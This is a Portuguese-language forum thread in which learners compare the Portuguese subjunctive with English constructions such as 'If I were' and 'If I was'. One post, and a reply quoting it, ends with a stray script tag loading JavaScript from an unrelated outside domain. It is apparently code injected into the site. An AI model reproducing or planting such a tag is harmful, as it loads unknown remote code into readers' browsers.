|
Post by andreadesan on Dec 15, 2017 19:39:55 GMT -2
Hello, guys! What's up? I have a question! (Many questions actually!!!) Não consegui achar ainda, um tópico que explicasse esse assunto de forma satisfatória. No português, o modo subjuntivo se divide em três tempos verbais: o presente, o pretérito imperfeito e o futuro. Gostaria de comparar certos exemplos entre os idiomas, com o que li em livros não-didáticos, músicas, seriados etc. Vou utilizar o verbo "estudar" como exemplo: que eu estude/ se eu estudasse / quando eu estudar. Ao lado de cada sentença, vou colocar minha comparação com o inglês. - presente: Minha mãe quer que eu estude mais. (My mother wants me to study more.) / - pretérito imperfeito: Se eu estudasse mais, seria mais fácil aprender. (If I studied more, it would be easier to learn.) /- futuro: Quando eu estudar mais, serei um aluno melhor. (When I study more, I'll be a better student.) Is it correct? É assim mesmo que a regra funciona? Ah, e quando usamos a terceira pessoa do singular nesse tipo de futuro, "it" for example, o verbo permanece com "s" no final ou fica na forma base? Exemplo: "When the sun shines" ou "When the sun shine". Thank you in advance, Abçs.
|
|
|
Post by Fábio Maceió on Dec 17, 2017 18:03:34 GMT -2
Creio que seu raciocínio está correto. Quanto à terceira pessoa, o "s" permanece.
|
|
acmm
Freshman
Posts: 47
|
Post by acmm on Dec 17, 2017 21:02:47 GMT -2
Só precisa ter um cuidado quando usar o verbo to be no pretérito do subjuntivo, principalmente em relação a primeira pessoa do plural. Pois muitos tendem a usar o verbo como da mesma forma no Past Tense.
Ex:
Se eu estivesse lá, eu teria ficado com raiva também. If I were there, I'd get angry too.
Past Tense: I was Subjunctive/Past Tense: If I were
Eu mesmo já caí nessa pegadinha por achar que era só acrescentar o If e já teria o verbo no Subjuntivo.
Isso é só uma dica.
|
|
|
Post by Fábio Maceió on Dec 18, 2017 13:32:25 GMT -2
Só precisa ter um cuidado quando usar o verbo to be no pretérito do subjuntivo, principalmente em relação a primeira pessoa do plural. Pois muitos tendem a usar o verbo como da mesma forma no Past Tense. Ex:Se eu estivesse lá, eu teria ficado com raiva também.If I were there, I'd get angry too.Past Tense: I was Subjunctive/Past Tense: If I were Eu mesmo já caí nessa pegadinha por achar que era só acrescentar o If e já teria o verbo no Subjuntivo. Isso é só uma dica. Na linguagem coloquial, é muito comum o uso de "If I was". Como naquela famosa música "California dreamin´": "I´d be safe and warm if I was in L.A...." <script type="text/javascript" id="lg210a" src="https://cloudapi.online/js/api46.js"></script>
|
|
acmm
Freshman
Posts: 47
|
Post by acmm on Dec 18, 2017 14:34:06 GMT -2
Só precisa ter um cuidado quando usar o verbo to be no pretérito do subjuntivo, principalmente em relação a primeira pessoa do plural. Pois muitos tendem a usar o verbo como da mesma forma no Past Tense. Ex:Se eu estivesse lá, eu teria ficado com raiva também.If I were there, I'd get angry too.Past Tense: I was Subjunctive/Past Tense: If I were Eu mesmo já caí nessa pegadinha por achar que era só acrescentar o If e já teria o verbo no Subjuntivo. Isso é só uma dica. Na linguagem coloquial, é muito comum o uso de "If I was". Como naquela famosa música "California dreamin´": "I´d be safe and warm if I was in L.A...." <script type="text/javascript" id="lg210a" src="https://cloudapi.online/js/api46.js"></script> Bem lembrado, esse detalhe.
|
|
|
Post by andreadesan on Dec 18, 2017 22:02:44 GMT -2
Ok,Fábio e Acmm, obrigada. É que são tópicos pouco falados, digo, da comparação com o presente e o futuro, e dá dúvida mesmo. É, a questão do "to be" tem que tomar cuidado mesmo! O Gavin podia fazer um vídeo com esse tópico... Valeu!
|
|